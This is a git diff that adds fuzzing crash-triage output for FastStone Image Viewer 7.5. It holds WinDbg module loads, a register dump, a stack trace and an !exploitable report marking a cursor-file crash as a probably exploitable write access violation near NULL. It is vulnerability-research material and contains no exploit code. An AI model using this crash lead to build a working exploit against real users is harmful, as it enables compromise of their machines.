+ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(290.1f80): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07eb7b19 edx=00000000 esi=00000000 edi=0f7b6fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.735417552236463200000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-3.77375e-022 -1.#QNAN -1.9253e-036 1.46293e-007 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f98130 07f15930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 003c0000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 003c0000 657810c5 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d6293 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 003c0000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/21550/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/21550/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..542e916 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/21550/WindowsDebugEngine_description.txt @@ -0,0 +1,175 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x290: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x290: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74ea0000 00000000`74ea8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`001d0000 00000000`001f8000 C:\Windows\SysWOW64\WINMM.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(290.1f80): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07eb7b19 edx=00000000 esi=00000000 edi=0f7b6fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.735417552236463200000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-3.77375e-022 -1.#QNAN -1.9253e-036 1.46293e-007 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f98130 07f15930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 003c0000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 003c0000 657810c5 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d6293 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 003c0000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/21550/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/21550/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..8beab90 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/21550/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/21991/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/21991/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/21991/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/21991/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/21991/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..1bdcbd4 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/21991/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/21991/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/21991/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..935f94c --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/21991/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x13DC: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x13DC: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74ea0000 00000000`74ea8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74eb0000 00000000`74eb6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74ba0000 00000000`74bc2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll 